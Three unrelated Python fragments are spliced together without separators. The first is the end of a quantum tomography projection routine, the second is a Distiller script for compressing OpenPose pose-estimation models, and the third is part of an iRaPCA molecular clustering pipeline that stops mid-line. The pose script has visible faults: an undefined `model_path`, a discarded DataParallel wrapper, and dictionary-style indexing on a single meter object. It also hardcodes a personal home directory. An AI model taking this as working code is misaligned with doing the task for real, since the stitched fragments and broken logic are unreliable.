1 if past_HIP >= HIP_steps: past_HIP = 0 past_al = 0 sq_norm_x = SL.norm(rho - rho_after_CP)**2 xiwi = SL.norm(w)**2 XW = N.column_stack([XW, N.zeros(nb_actives)]) XW = N.row_stack([XW, N.zeros(nb_actives + 1)]) new_xw = N.einsum('ij, aij -> a', w.conj(), w_act).real # Notice that the scalar product are all real # since the matrices are self-adjoint. XW[-1, :-1] = new_xw XW[:-1, -1] = new_xw XW[-1, -1] = xiwi target = N.r_[target, sq_norm_x] active = N.concatenate((active, [m])) w_act = N.concatenate([w_act, [w]]) subset, coeffs = step2(XW, target) XW = XW[N.ix_(subset, subset)] active = active[subset] nb_actives = len(active) w_act = w_act[subset] target = N.zeros((nb_actives,)) rho += N.einsum('k, kij -> ij', coeffs, w_act) group.xw.append(XW.ravel()) group.active_w.append(active) group.coeffs.append(coeffs) group.target.append(target) t1 = time.perf_counter() loops.attrs.computation_time = comp_time return rho, t1 - t0, comp_time, m def step_generator(x): """ Yields an iterator from a number, tuple or list, looping eternally. If input is already an iterator, yields it unchanged. """ if N.isscalar(x): def _gen(x): while True: yield x gen = _gen(x) elif isinstance(x, list) or isinstance(x, tuple): x = list(x) def _gen(x): i = 0 ll = len(x) while True: yield x[i % ll] i+=1 gen = _gen(x) elif isinstance(x, collections.Iterator): gen = x return gen def hyperplane_intersection_projection_switch_with_storage(rho, group, true_Choi, maxiter=100, free_trace=True, least_ev_x_dim2_tol=1e-2, all_dists=False, dist_L2=True, with_evs=False, save_intermediate=False, HIP_to_alt_switch='first', alt_to_HIP_switch='counter', min_cos = .99, alt_steps=4, missing_w=1, min_part=.3, HIP_steps=10, max_mem_w=30, **kwargs): """ Switches between alternate projections and HIP, with the following rules: * starts in alternate projections. * stays in alternate depending on alt_to_HIP_switch: ** if 'counter': uses an iterator (alt_steps) of the iteration number to determine the number of consecutive steps before switching. If alt_steps is a number, yields this number. If a list cycles on the list. ** if 'cos': switching when two successive steps are sufficiently colinear, namely if the cosinus of the vectors is at least min_cos. * stays in HIP depending on HIP_to_alt_switch: ** if 'first': stops HIP when the first active hyperplane of the sequence gets discarded. (ex: enter at iteration 7, then leaves when the hyperplane of iteration 7 is not in w_act anymore). ** if 'missing', stops when a total of missing_w (default 1) hyperplanes are deemed unnecessary. (ie w_act has lost missing_w member). ** if 'part': ends the loop if the length coeff_first * w_first is less than min_part times the step size, ie the length of \sum coeffs_i w_i. This includes the case when the first hyperplane is deemed unnecessary, like in 'first'. ** if 'counter': uses an iterator (HIP_steps) of the iteration number to determine the number of consecutive steps before switching. Iterator in input iter_choice. If HIP_steps is a number, yields this number. If a list cycles on the list. """ loops = group.loops dim2 = len(rho) comp_time=0 # x_sq, xiwi = -1, 1 # For the first entry in the loop. Yields the impossible -1. sel = 'alternate' # Selector for the step; 'alternate' or 'HIP'. if alt_to_HIP_switch == 'cos': w_norm_ancien = N.zeros((dim2, dim2)) # Not normalized to ensure at least two steps are taken. elif alt_to_HIP_switch == 'counter': past_al = 0 # number of steps already made in 'alternate' mode. alt_step_gen = step_generator(alt_steps) current_alt_step = next(alt_step_gen) else: raise ValueError('Unknown alt_to_HIP_switch. Must be "cos" or "counter".') if HIP_to_alt_switch == 'counter': HIP_step_gen = step_generator(HIP_steps) past_HIP = 0 elif HIP_to_alt_switch == 'part': pass elif HIP_to_alt_switch == 'first': pass elif HIP_to_alt_switch == 'missing': missed = 0 else: raise ValueError('Unknown HIP_to_alt_switch. Must be "first", "missing", "part" or "counter".') dims = (dim2, dim2) active = N.array([]) nb_actives = 0 XW = N.zeros((0,0)) w_act = N.zeros([0, dim2, dim2]) target = N.array([]) coeffs = N.array([]) # rho is on CP, we first project on TP. Outside the loop because we also end on TP. t0 = time.perf_counter() rho = proj_TP(rho)
<gh_stars>0 """ 1. remove support for early exit 2. remove support for knowledge distilling """ import logging import math import os import parser import sys import time import traceback from collections import OrderedDict from functools import partial from pathlib import Path import numpy as np import torch import torch.backends.cudnn as cudnn import torch.nn.parallel import torch.optim import torch.utils.data from torch.optim.lr_scheduler import ReduceLROnPlateau import torch.nn as nn import torchnet.meter as tnt import warnings warnings.filterwarnings('ignore', category=UserWarning) import distiller import distiller.apputils as apputils import distiller.quantization as quantization import examples.automated_deep_compression as adc from distiller.data_loggers import * sys.path.append('/home/CORP.PKUSC.ORG/hatsu3/research/compression/distiller/examples/openpose_compression/pytorch_openpose') from network import rtpose_shufflenetV2, rtpose_hourglass, rtpose_vgg from training.datasets.coco import get_loader from evaluate.coco_eval import run_eval def hourglass_get_loss(saved_for_loss, heat_temp, heat_weight, vec_temp, vec_weight): saved_for_log = OrderedDict() criterion = nn.MSELoss(size_average=False).cuda() batch_size = heat_temp.size(0) total_loss = 0 pred1 = saved_for_loss[0] * vec_weight gt1 = vec_temp * vec_weight pred2 = saved_for_loss[1] * heat_weight gt2 = heat_weight * heat_temp loss1 = criterion(pred1, gt1) / (2 * batch_size) loss2 = criterion(pred2, gt2) / (2 * batch_size) total_loss += loss1 total_loss += loss2 saved_for_log['paf'] = loss1.item() saved_for_log['heatmap'] = loss2.item() saved_for_log['max_ht'] = torch.max(saved_for_loss[-1].data[:, 0:-1, :, :]).item() saved_for_log['min_ht'] = torch.min(saved_for_loss[-1].data[:, 0:-1, :, :]).item() saved_for_log['max_paf'] = torch.max(saved_for_loss[-2].data).item() saved_for_log['min_paf'] = torch.min(saved_for_loss[-2].data).item() return total_loss, saved_for_log def shufflenetv2_get_loss(saved_for_loss, heat_temp, heat_weight, vec_temp, vec_weight): saved_for_log = OrderedDict() criterion = nn.MSELoss(size_average=True).cuda() total_loss = 0 pred1 = saved_for_loss[0] * vec_weight gt1 = vec_temp * vec_weight pred2 = saved_for_loss[1] * heat_weight gt2 = heat_weight * heat_temp loss1 = criterion(pred1, gt1) loss2 = criterion(pred2, gt2) total_loss += loss1 total_loss += loss2 saved_for_log['paf'] = loss1.item() saved_for_log['heatmap'] = loss2.item() saved_for_log['max_ht'] = torch.max(saved_for_loss[-1].data[:, 0:-1, :, :]).item() saved_for_log['min_ht'] = torch.min(saved_for_loss[-1].data[:, 0:-1, :, :]).item() saved_for_log['max_paf'] = torch.max(saved_for_loss[-2].data).item() saved_for_log['min_paf'] = torch.min(saved_for_loss[-2].data).item() return total_loss, saved_for_log def vgg19_get_loss(saved_for_loss, heat_temp, heat_weight, vec_temp, vec_weight): names = names = ['loss_stage%d_L%d' % (j, k) for j in range(1, 7) for k in range(1, 3)] saved_for_log = OrderedDict() criterion = nn.MSELoss(size_average=True).cuda() total_loss = 0 for j in range(6): pred1 = saved_for_loss[2 * j] * vec_weight gt1 = vec_temp * vec_weight pred2 = saved_for_loss[2 * j + 1] * heat_weight gt2 = heat_weight * heat_temp loss1 = criterion(pred1, gt1) loss2 = criterion(pred2, gt2) total_loss += loss1 total_loss += loss2 saved_for_log[names[2 * j]] = loss1.item() saved_for_log[names[2 * j + 1]] = loss2.item() saved_for_log['max_ht'] = torch.max(saved_for_loss[-1].data[:, 0:-1, :, :]).item() saved_for_log['min_ht'] = torch.min(saved_for_loss[-1].data[:, 0:-1, :, :]).item() saved_for_log['max_paf'] = torch.max(saved_for_loss[-2].data).item() saved_for_log['min_paf'] = torch.min(saved_for_loss[-2].data).item() return total_loss, saved_for_log def create_pose_estimation_model(pretrained, dataset, arch, load_vgg19=None, parallel=True, device_ids=None): # noinspection PyGlobalUndefined global msglogger model = None dataset = dataset.lower() if dataset == 'coco': if arch == 'shufflenetv2': model = rtpose_shufflenetV2.Network(width_multiplier=1.0) if pretrained: msglogger.info('No pretrained ShuffleNetV2 model available. Init randomly.') elif arch == 'vgg19': model = rtpose_vgg.get_model(trunk='vgg19') if pretrained: model_dir = Path('./pretrained') model_dir.mkdir(exist_ok=True) rtpose_vgg.use_vgg(model, model_path, 'vgg19') if load_vgg19: model.load_state_dict(torch.load(load_vgg19)) elif arch == 'hourglass': model = rtpose_hourglass.hg(num_stacks=8, num_blocks=1, paf_classes=38, ht_classes=19) if pretrained: msglogger.info('No pretrained Hourglass model available. Init randomly.') else: raise ValueError('Could not recognize dataset {}'.format(dataset)) msglogger.info("=> creating a %s%s model with the %s dataset" % ( 'pretrained ' if pretrained else '', arch, dataset)) if torch.cuda.is_available() and device_ids != -1: device = 'cuda' if parallel: print('Data parallel: device_ids =', device_ids) net = torch.nn.DataParallel(model, device_ids=device_ids) else: device = 'cpu' return model.to(device) DATASETS_NAMES = ['coco'] def load_data_(dataset, arch, json_path, data_dir, mask_dir, batch_size, workers): if dataset not in DATASETS_NAMES: raise ValueError('load_data does not support dataset %s" % dataset') input_size = { 'shufflenetv2': 368, 'vgg19': 368, 'hourglass': 256, }[arch] input_shape = (1, 3, input_size, input_size) params_transform = { 'shufflenetv2': { 'mode': 5, 'scale_min': 0.5, 'scale_max': 1.1, 'scale_prob': 1, 'target_dist': 0.6, 'max_rotate_degree': 40, 'center_perterb_max': 40, 'flip_prob': 0.5, 'np': 56, 'sigma': 7.0, }, 'hourglass': { 'mode': 5, 'scale_min': 0.5, 'scale_max': 1.1, 'scale_prob': 1, 'target_dist': 0.6, 'max_rotate_degree': 40, 'center_perterb_max': 40, 'flip_prob': 0.5, 'np': 56, 'sigma': 4.416, 'limb_width': 1.289, }, 'vgg19': { 'mode': 5, 'scale_min': 0.5, 'scale_max': 1.1, 'scale_prob': 1, 'target_dist': 0.6, 'max_rotate_degree': 40, 'center_perterb_max': 40, 'flip_prob': 0.5, 'np': 56, 'sigma': 7.0, 'limb_width': 1., } }[arch] if arch == 'shufflenetv2': train_loader = get_loader(json_path, data_dir, mask_dir, input_size, 8, preprocess='rtpose', batch_size=batch_size, params_transform=params_transform, shuffle=True, training=True, num_workers=workers) valid_loader = get_loader(json_path, data_dir, mask_dir, input_size, 8, preprocess='rtpose', batch_size=batch_size, params_transform=params_transform, shuffle=False, training=False, num_workers=workers) elif arch == 'hourglass': train_loader = get_loader(json_path, data_dir, mask_dir, input_size, 4, preprocess='rtpose', batch_size=batch_size, params_transform=params_transform, shuffle=True, training=True, num_workers=workers) valid_loader = get_loader(json_path, data_dir, mask_dir, input_size, 4, preprocess='rtpose', batch_size=batch_size, params_transform=params_transform, shuffle=False, training=False, num_workers=workers) elif arch == 'vgg19': train_loader = get_loader(json_path, data_dir, mask_dir, input_size, 8, preprocess='vgg', batch_size=batch_size, params_transform=params_transform, shuffle=True, training=True, num_workers=workers) valid_loader = get_loader(json_path, data_dir, mask_dir, input_size, 8, preprocess='vgg', batch_size=batch_size, params_transform=params_transform, shuffle=False, training=False, num_workers=workers) else: raise ValueError return train_loader, valid_loader, valid_loader, input_shape def load_data(args): return load_data_(args.dataset, args.arch, args.json_path, os.path.expanduser(args.data), args.mask_dir, args.batch_size, args.workers) def train(train_loader, model, criterion, optimizer, epoch, compression_scheduler, loggers, args): """Training loop for one epoch.""" batch_time = tnt.AverageValueMeter() data_time = tnt.AverageValueMeter() losses = tnt.AverageValueMeter() meter_dict = {'paf': tnt.AverageValueMeter(), 'heatmap': tnt.AverageValueMeter(), 'max_ht': tnt.AverageValueMeter(), 'min_ht': tnt.AverageValueMeter(), 'max_paf': tnt.AverageValueMeter(), 'min_paf': tnt.AverageValueMeter()} total_samples = len(train_loader.sampler) batch_size = train_loader.batch_size steps_per_epoch = math.ceil(total_samples / batch_size) msglogger.info('Training epoch: %d samples (%d per mini-batch)', total_samples, batch_size) model.train() end = time.time() for train_step, (inputs, heatmap_target, heat_mask, paf_target, paf_mask) in enumerate(train_loader): data_time.add(time.time() - end) inputs = inputs.to(args.device) heatmap_target = heatmap_target.to(args.device) heat_mask = heat_mask.to(args.device) paf_target = paf_target.to(args.device) paf_mask = paf_mask.to(args.device) # Execute the forward phase, compute the output and measure loss if compression_scheduler: compression_scheduler.on_minibatch_begin(epoch, train_step, steps_per_epoch, optimizer) _, saved_for_loss = model(inputs) # criterion: get_loss total_loss, saved_for_log = criterion(saved_for_loss, heatmap_target, heat_mask, paf_target, paf_mask) for name, _ in meter_dict.items(): meter_dict[name].add(saved_for_log[name], inputs.size(0)) losses.add(total_loss, inputs.size(0)) # TODO: remove? if compression_scheduler: # Before running the backward phase, we allow the scheduler to modify the loss # (e.g. add regularization loss) agg_loss = compression_scheduler.before_backward_pass(epoch, train_step, steps_per_epoch, total_loss, optimizer=optimizer, return_loss_components=True) loss = agg_loss.overall_loss losses['overall_loss'].add(loss.item()) for lc in agg_loss.loss_components: if lc.name not in losses: losses[lc.name] = tnt.AverageValueMeter() losses[lc.name].add(lc.value.item()) else: losses['overall_loss'].add(total_loss.item()) # Compute the gradient and do SGD step optimizer.zero_grad() total_loss.backward() if compression_scheduler: compression_scheduler.before_parameter_optimization(epoch, train_step, steps_per_epoch, optimizer) optimizer.step() if compression_scheduler: compression_scheduler.on_minibatch_end(epoch, train_step, steps_per_epoch, optimizer) batch_time.add(time.time() - end) steps_completed = (train_step + 1) if steps_completed % args.print_freq == 0: stats_dict = OrderedDict({ 'loss': losses.mean, 'LR': optimizer.param_groups[0]['lr'], 'Time': batch_time.mean, }) stats = ('Performance/Training/', stats_dict) params = model.named_parameters() if args.log_params_histograms else None distiller.log_training_progress(stats, params, epoch, steps_completed, steps_per_epoch, args.print_freq, loggers) end = time.time() return losses.mean def validate(val_loader, model, criterion, loggers, args, epoch=-1): """Model validation""" if epoch > -1: msglogger.info('--- validate (epoch=%d)-----------', epoch) else: msglogger.info('--- validate ---------------------') return _validate(val_loader, model, criterion, loggers, args, epoch) def _validate(data_loader, model, criterion, loggers, args, epoch=-1): """Execute the validation/test loop.""" batch_time = tnt.AverageValueMeter() data_time = tnt.AverageValueMeter() losses = tnt.AverageValueMeter() meter_dict = {'paf': tnt.AverageValueMeter(), 'heatmap': tnt.AverageValueMeter(), 'max_ht': tnt.AverageValueMeter(), 'min_ht': tnt.AverageValueMeter(), 'max_paf': tnt.AverageValueMeter(), 'min_paf': tnt.AverageValueMeter()} total_samples = len(data_loader.sampler) batch_size = data_loader.batch_size total_steps = total_samples / batch_size msglogger.info('%d samples (%d per mini-batch)', total_samples, batch_size) model.eval() # TODO: model.train() in original repo end = time.time() # model = torch.nn.DataParallel(model, device_ids=args.gpus) # run_eval(image_dir=args.data, anno_dir=args.anno_dir, vis_dir=args.vis_dir, # image_list_txt=args.image_list_txt, # model=model, preprocess='vgg' if args.arch == 'vgg19' else 'rtpose') for validation_step, (inputs, heatmap_target, heat_mask, paf_target, paf_mask) in enumerate(data_loader): with torch.no_grad(): data_time.add(time.time() - end) inputs = inputs.to(args.device) heatmap_target = heatmap_target.to(args.device) heat_mask = heat_mask.to(args.device) paf_target = paf_target.to(args.device) paf_mask = paf_mask.to(args.device) _, saved_for_loss = model(inputs) total_loss, saved_for_log = criterion(saved_for_loss, heatmap_target, heat_mask, paf_target, paf_mask) losses.add(total_loss.item(), inputs.size(0)) batch_time.add(time.time() - end) end = time.time() steps_completed = (validation_step + 1) if steps_completed % args.print_freq == 0: stats = ('', OrderedDict([('Loss', losses.mean), ])) distiller.log_training_progress(stats, None, epoch, steps_completed, total_steps, args.print_freq, loggers) msglogger.info('==> Loss: %.6f\n', losses.mean) # TODO: refactor me with open('/home/CORP.PKUSC.ORG/hatsu3/research/compression/distiller/examples/openpose_compression/notebooks/results.txt', 'w') as f: f.write('%.6f' % losses.mean) return losses.mean def test(test_loader, model, criterion, loggers, activations_collectors, args): """Model Test""" msglogger.info('--- test ---------------------') if activations_collectors is None: activations_collectors = create_activation_stats_collectors(model, None) with collectors_context(activations_collectors["test"]) as collectors: loss = _validate(test_loader, model, criterion, loggers, args) distiller.log_activation_statsitics(-1, "test", loggers, collector=collectors['sparsity']) save_collectors_data(collectors, msglogger.logdir) return loss # Logger handle msglogger = None def main(): script_dir = os.path.dirname(__file__) module_path = os.path.abspath(os.path.join(script_dir, '..', '..')) global msglogger # Parse arguments args = parser.get_parser().parse_args() if args.epochs is None: args.epochs = 200 if not os.path.exists(args.output_dir): os.makedirs(args.output_dir) msglogger = apputils.config_pylogger(os.path.join(script_dir, 'logging.conf'), args.name, args.output_dir) # Log various details about the execution environment. It is sometimes useful # to refer to past experiment executions and this information may be useful. apputils.log_execution_env_state( filter(None, [args.compress, args.qe_stats_file]), # remove both None and empty strings msglogger.logdir, gitroot=module_path) msglogger.debug("Distiller: %s", distiller.__version__) if args.evaluate: args.deterministic = True if args.deterministic: distiller.set_deterministic(args.seed) # For experiment reproducability else: if args.seed is not None: distiller.set_seed(args.seed) # Turn on CUDNN
nombre_cluster_padre in lista_nombre_cluster_padre])) df_cluster_padre.rename(columns={0: 'Cluster, padre'},inplace = True) df_cluster_padre.index = df_molecula_cluster_actual.index.values df_cluster_con_cluster_padre = pd.merge(df_molecula_cluster_actual, df_cluster_padre, left_index = True, right_index= True) df_subset_PCA = pd.merge(subset_seleccionado, pcas, left_index = True, right_index= True) moleculas_cluster = pd.merge(df_subset_PCA, df_cluster_con_cluster_padre, left_index = True, right_index= True) final_conteo = pd.DataFrame(moleculas_cluster['Cluster, padre'].value_counts()) final_conteo.rename(columns = {'Cluster, padre':'Molecules'}, inplace = True) final_conteo.index.names = ['Cluster'] final_conteo['Relacion'] = final_conteo['Molecules']/descriptores.shape[0] return pcas, moleculas_cluster, final_conteo #%% ### Scatter plot with PCAs for each selected subset and K ### def grafica_scatter(moleculas_cluster,subset_mejor,cluster_mejor, vuelta): if plot_scatter: tabla_final_moleculas = moleculas_cluster.copy() tabla_final_moleculas.rename(columns = {'PCA_1': 'PC_1', 'PCA_2': 'PC_2', 'Cluster, padre': 'Cluster'}, inplace = True) tabla_final_moleculas['Cluster'] = tabla_final_moleculas['Cluster'].astype(str) fig2 = plt1.scatter(tabla_final_moleculas, x = 'PC_1', y = 'PC_2', color = 'Cluster', hover_name = tabla_final_moleculas.index, title = f'Scatter Plot of PC 1 vs PC 2 for subset {subset_mejor} and K {cluster_mejor}') fig2.update_layout(legend_title="Cluster", plot_bgcolor = 'rgb(256,256,256)', title_font = dict(size=25, family='Calibri', color='black'), legend_title_font = dict(size=18, family='Calibri', color='black'), legend_font = dict(size=15, family='Calibri', color='black')) fig2.update_traces(marker=dict(size=15, line=dict(width=1))) fig2.update_xaxes(title_text="PC 1", showline=True, linecolor='black', gridcolor='lightgrey', zerolinecolor = 'lightgrey', tickfont=dict(family='Arial', size=16, color='black'), title_font = dict(size=20, family='Calibri', color='black')) fig2.update_yaxes(title_text="PC 2", showline=True, linecolor='black', gridcolor='lightgrey', zerolinecolor = 'lightgrey', tickfont=dict(family='Arial', size=16, color='black'), title_font = dict(size=20, family='Calibri', color='black')) plotly.offline.plot(fig2, filename= f'{directory}\\results_iRaPCA_{name}\\Scatterplot_PCs_round_{vuelta}_cluster_{cluster_mejor}_subset_{subset_mejor}_{name}.html', config=config) return #%% ### Random cluster evaluations ### def cluster_random(pcas, molec_name,cluster_mejor): compilado_silhoutte = [] compilado_db = [] compilado_ch = [] compilado_dunn = [] for i in range(500): random.seed(a=i, version=2) random_clusters = [] for x in molec_name: random_clusters.append(random.randint(0,cluster_mejor-1)) silhouette_random = silhouette_score(pcas, np.ravel(random_clusters)) compilado_silhoutte.append(silhouette_random) db_random = davies_bouldin_score(pcas, np.ravel(random_clusters)) compilado_db.append(db_random) ch_random = calinski_harabasz_score(pcas, np.ravel(random_clusters)) compilado_ch.append(ch_random) dist_dunn = pairwise_distances(pcas) dunn_randome = dunn(dist_dunn, np.ravel(random_clusters)) compilado_dunn.append(dunn_randome) sil_random = round(mean(compilado_silhoutte),4) sil_random_st = str(round(stdev(compilado_silhoutte),4)) db_random = round(mean(compilado_db),4) db_random_st = str(round(stdev(compilado_db),4)) ch_random = round(mean(compilado_ch),4) ch_random_st = str(round(stdev(compilado_ch),4)) dunn_random = round(mean(compilado_dunn),4) dunn_random_st = str(round(stdev(compilado_dunn),4)) return sil_random, sil_random_st, db_random, db_random_st, ch_random, ch_random_st, dunn_random, dunn_random_st ### Clustering performance determination ### def coeficientes_clustering(pcas, df_molecula_cluster_actual, cluster_mejor, molec_name,vuelta): from sklearn.mixture import GaussianMixture sil_random, sil_random_st, db_random, db_random_st, ch_random, ch_random_st, dunn_random, dunn_random_st = cluster_random(pcas, molec_name,cluster_mejor) silhouette_avg = round(silhouette_score(pcas, np.ravel(df_molecula_cluster_actual)),4) gmm = GaussianMixture(n_components=cluster_mejor, init_params='kmeans') gmm.fit(pcas) db_score = round(davies_bouldin_score(pcas, np.ravel(df_molecula_cluster_actual)),4) ch_score = round(calinski_harabasz_score(pcas, np.ravel(df_molecula_cluster_actual)),4) dist_dunn = pairwise_distances(pcas) dunn_score = round(dunn(dist_dunn, np.ravel(df_molecula_cluster_actual)),4) if vuelta == 1: print(f'\nThe Silhouette score is: {silhouette_avg}') print(f'The Silhouette Score for random cluster is: {sil_random}') validation_round = [vuelta,silhouette_avg, sil_random, sil_random_st, db_score, db_random, db_random_st,ch_score, ch_random, ch_random_st,dunn_score, dunn_random, dunn_random_st] return validation_round #%% ### Indexes ### def getIndexes(df, value): ''' Get index positions of value in dataframe as a tuple first the subset,then the cluster ''' result = df.isin([value]) seriesObj = result.any() columnNames = list(seriesObj[seriesObj == True].index) for col in columnNames: rows = list(result[col][result[col] == True].index) for row in rows: posicion = (row, col) return posicion #%% ### Hierarchical Clustering ### def clusters_con_mayor_porcentaje(lista_final_conteo, max_ratio_cluster_total): lista_cluster_para_seguir = [] lista_cluster_padres = [] for final_conteo_ in lista_final_conteo: clusters_para_seguir = [] for index, row in final_conteo_.iterrows(): if row['Relacion'] > max_ratio_cluster_total: clusters_para_seguir.append(index) lista_cluster_padres.append(index) lista_cluster_para_seguir.append(clusters_para_seguir) return lista_cluster_para_seguir, lista_cluster_padres def asignar_moleculas_para_RDCPCA(lista_cluster_para_seguir, lista_cluster_moleculas, moleculas_compiladas, vuelta): lista_nuevas_moleculas = [] for p, cluster_para_seguir_ in enumerate(lista_cluster_para_seguir): if cluster_para_seguir_ is not None: for cluster_ in cluster_para_seguir_: nuevas_moleculas = [] for index, row in lista_cluster_moleculas[p].iterrows(): if row['Cluster, padre'] == cluster_: nuevas_moleculas.append(index) if vuelta == max_round: moleculas_compiladas[index] = row['Cluster, padre'] lista_nuevas_moleculas.append(nuevas_moleculas) for cluster_moleculas_ in lista_cluster_moleculas: for index, row in cluster_moleculas_.iterrows(): agregar_o_no = any([index in nuevas_moleculas_ for nuevas_moleculas_ in lista_nuevas_moleculas]) if agregar_o_no == False: moleculas_compiladas[index] = row['Cluster, padre'] return lista_nuevas_moleculas, moleculas_compiladas #%% ### Sunburn plot of all the molecules ### def sunburn_plot(sunburnt): if plot_sunburnt: warnings.simplefilter(action='ignore', category=FutureWarning) sunburnt.insert(loc = 0, column = 'All', value = 'All') sunburnt = sunburnt.fillna(' ') sunburnt['Molecules'] = 1 fig3 = plt1.sunburst(sunburnt, path = sunburnt.iloc[:,0:-1], values = 'Molecules') fig3.update_layout(title = "Sunburst Plot", title_x=0.5, title_font = dict(size=25, family='Calibri', color='black')) fig3.update_layout(margin = dict(t=60,r=20,b=20,l=20), autosize = True) plotly.offline.plot(fig3, filename= f'{directory}\\results_iRaPCA_{name}\\Sunburst_{name}.html', config=config) return #%% ### Bar plot of molecule distribution ### def bar_plot_counts(dataframe_final_1): if plot_bar: fig4 = plt1.bar(dataframe_final_1, x = dataframe_final_1.index.get_level_values(0), y = 'Molecules', color = dataframe_final_1.index.get_level_values(0)) fig4.update_layout(legend_title="Cluster", plot_bgcolor = 'rgb(256,256,256)', legend_title_font = dict(size=18, family='Calibri', color='black'), legend_font = dict(size=15, family='Calibri', color='black')) fig4.update_xaxes(title_text='Cluster', showline=True, linecolor='black', gridcolor='lightgrey', zerolinecolor = 'lightgrey', tickfont=dict(family='Arial', size=16, color='black'), title_font = dict(size=20, family='Calibri', color='black')) fig4.update_yaxes(title_text='Amount of molecules', showline=True, linecolor='black', gridcolor='lightgrey', zerolinecolor = 'lightgrey', tickfont=dict(family='Arial', size=16, color='black'), title_font = dict(size=20, family='Calibri', color='black')) plotly.offline.plot(fig4, filename= f'{directory}\\results_iRaPCA_{name}\\Barplot_{name}.html', config=config) return #%% ### Settings file ### def setting_info(vuelta,dataframe_final_1, total_time): today = date.today() fecha = today.strftime("%d/%m/%Y") settings = [] settings.append(["Date clustering was performed: " , fecha]) settings.append(["Seetings:",""]) settings.append(["Threshold variance:", str(threshold_variance)]) settings.append(["Random seed:", str(random_subspace_seed)]) settings.append(["Number of subsets:", str(num_subsets)]) settings.append(["Number of descriptors by subset:", str(num_descriptors)]) settings.append(["Correlation coefficient:", str(coef_correlacion)]) settings.append(["Correlation threshold:", str(threshold_correlation)]) settings.append(["Min number of descriptors by subset:", str(min_desc_subset)]) settings.append(["Max number of descriptors by subset:", str(max_desc_subset)]) settings.append(["Min number of clusters by round:", str(min_n_clusters)]) settings.append(["Max number of clusters by round:", str(max_n_clusters)]) settings.append(["Max relation 'cluster/total':", str(max_ratio_cluster_total)]) settings.append(["Max number of rounds:", str(max_round)]) settings.append(["PCAs:", str(num_pca)]) settings.append(["",""]) settings.append(["Results:",""]) settings.append(["Total rounds :", str(vuelta)]) settings.append(["Total clusters :", str(len(dataframe_final_1))]) settings.append(["",""]) settings.append(["Total running time : ", total_time]) settings.append(["To cite the application, please reference: ","XXXXXXXXXXX"]) settings_df = pd.DataFrame(settings) settings_df.to_csv(f'{directory}\\results_iRaPCA_{name}\\Clustering_setting_{name}.csv',index=False,header=False) return #%% ####################################### iRaPCA main ####################################### ########################################################################################### if __name__ == '__main__': lista_nuevas_moleculas = [1] vuelta = 1 moleculas_compiladas = {} todos_silhouette = [] lista_cluster_padres = [''] lista_cluster_moleculas = [] lista_descriptores = [] validation_all = [] rows_to_retain = [] uploaded_file_1, name = Get_input_data(directory, input_file, available_molecular_descriptors) Make_dir(f'results_iRaPCA_{name}') # Create output dir if available_molecular_descriptors: descriptores = clean_descriptors(uploaded_file_1) else: standard_mol, rows_to_retain = Standardize_molecules(uploaded_file_1, rows_to_retain,smiles_standardization, ignore_error) descriptores, previuos_data = calculate_descriptors(standard_mol, rows_to_retain) lista_descriptores.append(descriptores) while len(lista_nuevas_moleculas)>0 and vuelta <= max_round: lista_subsets_ok = [] lista_tablas_finales = [] lista_final_conteo = [] lista_subsets_seleccionados = [] lista_total_molec_subset =[] sunburnt_nuevos = pd.Series(dtype = 'float64') for descriptores_ in lista_descriptores: descriptores_ok = descriptores_baja_variancia(descriptores_, vuelta, threshold_variance) subsets_ok, total_molec_subset = generar_subset(descriptores_ok, num_subsets, coef_correlacion, threshold_correlation,vuelta) tabla_final, subsets_seleccionados = clustering(subsets_ok, min_desc_subset, max_desc_subset, range_n_clusters, num_pca) lista_subsets_ok.append(subsets_ok) lista_total_molec_subset.append(total_molec_subset) lista_tablas_finales.append(tabla_final) lista_subsets_seleccionados.append(subsets_seleccionados) lista_cluster_moleculas = [] for j, tabla_final_ in enumerate(lista_tablas_finales): try: silhouette_max = tabla_final_.values.max() cluster_mejor, subset_mejor = getIndexes(tabla_final_, silhouette_max) subset_mejor_sil = lista_subsets_ok[j][subset_mejor] pcas, cluster_moleculas, final_conteo = moleculas_en_cluster_PCA_clustering(subset_mejor_sil, num_pca, cluster_mejor, subset_mejor, lista_cluster_padres[j], vuelta, descriptores) todos_silhouette.append(silhouette_max) except ValueError: if vuelta == 1: print(f'For the selected Threshold correlation filter ({threshold_correlation}) none of the subsets have between {min_desc_subset} and {max_desc_subset} descriptors in round {vuelta}') sys.exit() else: for i, cluster_moleculas_ in enumerate(lista_cluster_moleculas): for index, row in cluster_moleculas_.iterrows(): moleculas_compiladas[index] = row['Cluster, padre'] print(f'For the selected Threshold correlation filter ({threshold_correlation}) none of the subsets have between {min_desc_subset} and {max_desc_subset} descriptors in round {vuelta}') sys.exit() print(f"**Round: {vuelta}**") print("- Subsets with a number of descriptors between the limits: " + str(len(lista_subsets_seleccionados[j]))) if vuelta != 1: print("- The subset has: " + str(lista_total_molec_subset[j]) + " molecules") print("- The average number of descriptors by subset is: " + str(round(mean([x.shape[1] for x in lista_subsets_ok[j]]),2))) grafica_silhouette(lista_subsets_seleccionados[j],tabla_final_, num_pca, range_n_clusters,vuelta, threshold_correlation) grafica_scatter(cluster_moleculas,subset_mejor,cluster_mejor, vuelta) print(f'Maximum coefficient of silhouette was obtained in the subset {subset_mejor} with {cluster_mejor} clusters') if vuelta == 1: sunburnt = pd.DataFrame(cluster_moleculas['Cluster, padre']) else: sunburnt_agregar = cluster_moleculas['Cluster, padre'] sunburnt_nuevos = pd.concat([sunburnt_nuevos, sunburnt_agregar], axis = 0) validation_round = coeficientes_clustering(pcas, cluster_moleculas['CLUSTER'], cluster_mejor, cluster_moleculas.index,vuelta) validation_all.append(validation_round) lista_cluster_moleculas.append(cluster_moleculas) lista_final_conteo.append(final_conteo) print("-"*50) if vuelta != 1: sunburnt_nuevos = sunburnt_nuevos.to_frame() sunburnt_nuevos.rename(columns={0: f'Cluster, padre, V{vuelta}'},inplace = True) sunburnt = pd.concat([sunburnt,sunburnt_nuevos], axis = 1) lista_cluster_para_seguir, lista_cluster_padres = clusters_con_mayor_porcentaje(lista_final_conteo, max_ratio_cluster_total) if len(lista_cluster_para_seguir) != 0: lista_nuevas_moleculas, moleculas_compiladas = asignar_moleculas_para_RDCPCA(lista_cluster_para_seguir, lista_cluster_moleculas, moleculas_compiladas,vuelta) else: for i, cluster_moleculas_ in enumerate(lista_cluster_moleculas): for index, row in cluster_moleculas_.iterrows(): moleculas_compiladas[index] = row['Cluster, padre'] break lista_descriptores = [] for nuevas_moleculas_ in lista_nuevas_moleculas: descriptores_nuevas_molec = [] for molec in nuevas_moleculas_: row = descriptores.loc[molec] descriptores_nuevas_molec.append(row) descriptores_nuevas_molec = 